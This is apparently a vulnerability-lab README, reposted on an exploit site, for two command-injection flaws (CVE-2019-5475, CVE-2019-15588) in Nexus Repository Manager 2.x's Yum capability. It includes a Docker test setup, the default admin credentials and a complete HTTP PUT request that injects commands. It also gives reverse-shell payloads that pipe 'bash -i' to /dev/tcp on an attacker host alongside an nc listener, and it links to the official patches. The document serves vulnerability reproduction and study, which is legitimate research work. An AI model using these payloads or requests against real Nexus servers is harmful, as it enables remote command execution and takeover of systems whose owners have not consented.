## https://sploitus.com/exploit?id=9E3A879C-209E-50DE-BCE7-5C7D862D6DEF
# CVE-2019-5475
>CVE-2019-5475 and CVE-2019-15588: RCE command injection vulnerabilities
------
## 0x00 Background
CVE-2019-5475 is a RCE command injection vulnerability related to the built-in Yum Repository in Nexus. It was first reported on [hackerone](https://hackerone.com/reports/654888). However, due to incomplete initial fixes by the official team, CVE-2019-15588 was also created. Both vulnerabilities can only be exploited after logging in as an admin. However, the default admin password “admin123” is often ignored or changed, making these vulnerabilities easily exploitable.
## 0x10 Test Environment
!(https://img.shields.io/badge/Docker-latest-brightgreen.svg) 
## 0x20 Directory Structure
```
CVE-2019-5475
├── nexus-yum-core .......... [Maven project for debugging: simulates entering “createrepo” or “mergerepo” in the Nexus GUI]
├── nexus ................... [Data directory for the Nexus container]
├── attacker ................ [Directory for building attacker machines]
│ └── Dockerfile .......... [Docker build file for attacker machines]
├── docker-compose.yml ...... [Docker build configuration]
├── imgs .................... [Images for supplementary README descriptions]
└── README.md ............... [This README description]
```
## 0x40 Test Environment Setup
- Preinstall Docker and docker-compose on the host machine.
- Download this repository: [git clone https://github.com/lyy289065406/CVE-2019-5475](https://github.com/lyy289065406/CVE-2019-5475)
- Navigate to the Nexus build directory: `cd CVE-2019-5475`
- Build and run Nexus: `docker-compose up -d`
- Access Nexus via browser after approximately 5 minutes (BasicAuth: `admin/admin123`). The URL is:
| Nexus | CVE | URL |
|:----:|:----:|:----|
| 2.14.9 | CVE-2019-5475 | [http://127.0.0.1:8009/nexus](http://127.0.0.1:8009/nexus) |
| 2.14.14 | CVE-2019-15588 | [http://127.0.0.1:8014/nexus](http://127.0.0.1:8014/nexus) |
> This test environment also includes an attacker machine at 172.168.50.2, which operates in the same network environment as the two test machines. Its purpose is to verify reverse shell attacks.
## 0x50 Verification of CVE-2019-5475
### 0x51 PoC
Log in as admin using the URL `[http://127.0.0.1:8009/nexus/#capabilities]`. The RCE injection points can be found in “Administration -> Capabilities -> Yum: Configuration -> Settings”. Both the “Path of “createrepo”” and “Path of “mergerepo”” fields can be injected. The execution results can be viewed in “Status”.
For example, at the `createrepo` injection point, construct a PoC by using `bash -c id || python`. This will retrieve the execution result of the command `bash -c id` from `Status`. The corresponding PoC request can be captured using BurpSuite as follows:
```
PUT /nexus/service/siesta/capabilities/RANDOM_ID HTTP/1.1
Host: 127.0.0.1:8009
accept: application/json
Content-Type: application/json
Authorization: Basic YWRtaW46YWRtaW4xMjM=
Connection: close
{"typeId":"yum","enabled":true,"properties":[{"key":"createrepoPath","value":"bash -c id || python"}],"id":"RANDOM_ID"}
```
### 0x52 EXP
This injection point can be easily exploited to create a reverse shell:
- Log in to the attacker machine: `docker exec -it -u root docker_attacker /bin/bash`
- Use netcat for listening and reverse shell: `nc -lvvp 4444`
- At the `createrepo` injection point, construct the payload: `bash -c $@|bash 0 echo bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || python`
## 0x60 【CVE-2019-15588】Field Verification
### 0x61 PoC
The injection location is the same as in CVE-2019-5475. Adjust the PoC to: `/bin/bash -c id || /createrepo`.
### 0x62 EXP
This vulnerability can also be exploited using the same method to create a reverse shell:
- Log in to the attacker machine: `docker exec -it -u root docker_attacker /bin/bash`
- Use netcat for listening and reverse shell: `nc -lvvp 4444`
- At the `createrepo` injection point, construct the payload: `/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || /createrepo`.
## 0x70 Vulnerability Fixes
- For CVE-2019-5475: [First official patch](https://github.com/sonatype/nexus-public/commit/e8769e53f6bb601126ef5d21f9ea009873b65e25#diff-4ab0523de106ac7a38808f0231fc8a23R81)
- For CVE-2019-15588: [Second official patch](https://github.com/sonatype/nexus-public/commit/3dd1d59393149833150b702ddf6485b5ef3312bd#diff-4ab0523de106ac7a38808f0231fc8a23R111)
## 0x80 About nexus-yum-core
[nexus-yum-core/](nexus-yum-core/) is the core code related to this vulnerability exploitation in Nexus. It allows direct debugging of inputs without building the entire Nexus service from source code. 
## 0x90 References
- https://paper.seebug.org/1260/
- https://blog.spoock.com/2018/11/25/getshell-bypass-exec/
[source-iocs-preserved url=https://img.shields.io/badge/Nexus-2.14.9-brightgreen.svg]